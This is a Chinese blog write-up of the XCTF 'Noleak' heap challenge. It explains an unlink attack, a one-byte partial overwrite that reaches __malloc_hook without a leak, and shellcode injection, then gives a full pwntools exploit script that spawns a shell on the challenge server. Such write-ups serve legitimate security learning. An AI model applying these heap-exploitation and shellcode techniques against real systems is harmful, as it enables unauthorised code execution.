XCTF-Noleak-WP

Posted on Feb 28, 2021

HCTF-game 终于是结束了,我也没有借口再不做题了,所以从今天开始还是要继续每天一题(尽量吧)。

这道题目比较麻烦,是我做过的和堆相关的最麻烦的一道题。前前后后加起来大概做了将近两个小时,从下题到交 flag 总共将近十个小时,主要是中间被一些事情耽搁了。这里也真的是要发发牢骚,大学里面总是会有一些莫名其妙的破事和破人,今天就碰到了,非常的不爽,都是成年人了还有人要管别人对待破事的“态度”,真的是无法理解。

漏洞点

就是这两处的堆溢出和 UAF,看起来很简单不是吗?虽然程序没有提供 leak 的函数,但是我们用 unlink 方法,可以通过修改 free@got 来 leak,算是很常用的套路了。但是 checksec 一下就有点不对了。

开启了 Full RELRO,这样我们就不能写 got 了,当然以前碰到这种情况并不会手足无措,因为可以写 __malloc_hook,但是这道题没得 leak,所以我就手足无措了。很遗憾没有想出来,只好查看别人的 wp。

解法

首先肯定要先 unlink 一波,获得对储存各个 chunkbuf 数组的任意写的权限,这个就不多说了。

然后就是我们应该如何 getshell 了,可以注意到 NX disabled,就可以考虑布置 shellcode 到必定会存在的一个地址固定的可执行段上。由于我们对 buf 数组任意写,所以我们是有任意地址写的能力的,所以这个很好布置。

然后呢,一个巧合需要了解一下

dword_3C4B20 就是我们喜闻乐见的 main_arena 了(原因可以参考笔者的此文),可以看到这三个常用的 gadget 是非常相邻的。考虑到 Unsorted Bin 的链表尾的 fd 是指向 main_arena 的一个固定偏移处的,这个偏移也不甚大,所以这个 fd 很可能只有最低字节和 &__malloc_hook 不同,所以我们可能不需要 leak 就可以获得 __malloc_hook,事实也是这样的,只要我们通过 Update 功能在 UAF 时只修改一个字节,并改为 '\x10' 就可以获得了。这样就可以劫持 __malloc_hook,让它指向 shellcode,就可以 getshell 了。

光改出来一个 __malloc_hook 肯定是不够的,我们需要的是对 __malloc_hook 的任意写。并没有别的特别好的方法,只能在 buf数组中布置 fake_chunk,然后想办法把这个 chunk放到 Unsorted Bin 的头部或者尾部。这个也好办,我们有对 buf 任意读写的能力,布置 fake_chunk 上去就可以了,又由于这个 fake_chunk 的地址也是知道的,也可以在 buf 布置好指向这个 fake_chunk 的指针,就可以很容易地 free 它了,这样我们就可以在 buf 数组中拥有一个指向 __malloc_hook 的指针,从而实现劫持,就可以 getshell 了。

以下是具体的布置方式

payload = p64(0) * 2
payload += p64(shell_code_addr)#buf[0] point to shellcode
payload += p64(buf_addr + 6 * 8)#buf[1]
payload += p64(0)#buf[2]
payload += p64(0)#buf[3]

fake_chunk = p64(0) + p64(0x111)
fake_chunk = fake_chunk.ljust(0x110,'\x00')
fake_chunk += p64(0) + p64(0x21) * 10

要注意的是这里会进行后向合并的尝试,一不小心就异常了,要布置好这个 fake_chunk 后面的 chunk。我的做法比较简单粗暴,全部写成 0x21,分配器就不会乱来了,也不会出现 size 不对的那些垃圾问题了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug',os = 'linux',arch = 'amd64')
context.terminal = ['tmux','splitw','-h']

def Create(size,payload):
    sh.sendlineafter("choice :",str(1))
    sh.sendlineafter("Size: ",str(size))
    sh.sendafter("Data: ",payload)
  
def Delete(index):
    sh.sendlineafter("choice :",str(2))
    sh.sendlineafter("Index: ",str(index))

def Update(index,size,payload):
    sh.sendlineafter("choice :",str(3))
    sh.sendlineafter("Index: ",str(index))
    sh.sendlineafter("Size: ",str(size))
    sh.sendafter("Data: ",payload)

#sh = process("./timu")
sh = remote("111.200.241.244",51087)
elf = ELF("./timu")
libc = ELF("./libc-2.23.so")
buf_addr = 0x601040
shell_code_addr = 0x601B00

Create(0x10,"index:0\n")
Create(0x100,"index:1\n")
Create(0x100,"index:2\n")
Create(0x20,"index:3\n")

fake_chunk = p64(0) + p64(0x111) + p64(0) + p64(0x21) + p64(buf_addr + 8 - 0x18) + p64(buf_addr + 8 - 0x10) + p64(0x20)
fake_chunk = fake_chunk.ljust(0x110,'\x00')
payload = 'a' * 0x10 + fake_chunk
payload += p64(0x100) + p64(0x110) + '\n'
Update(0,len(payload),payload)

Delete(2)

payload = p64(0) * 2
payload += p64(shell_code_addr)#buf[0] point to shellcode
payload += p64(buf_addr + 6 * 8)#buf[1]
payload += p64(0)#buf[2]
payload += p64(0)#buf[3]

fake_chunk = p64(0) + p64(0x111)
fake_chunk = fake_chunk.ljust(0x110,'\x00')
fake_chunk += p64(0) + p64(0x21) * 10

payload += fake_chunk

Update(1,len(payload),payload)

shellcode = asm(shellcraft.sh())
#gdb.attach(proc.pidof(sh)[0])
Update(0,len(shellcode),shellcode)

Create(0x200,"index:2")
Delete(1)
Update(1,1,'\x10')
Update(6,8,p64(shell_code_addr))

sh.sendlineafter("choice :",str(1))
sh.sendlineafter("Size: ",str(0))

sh.interactive()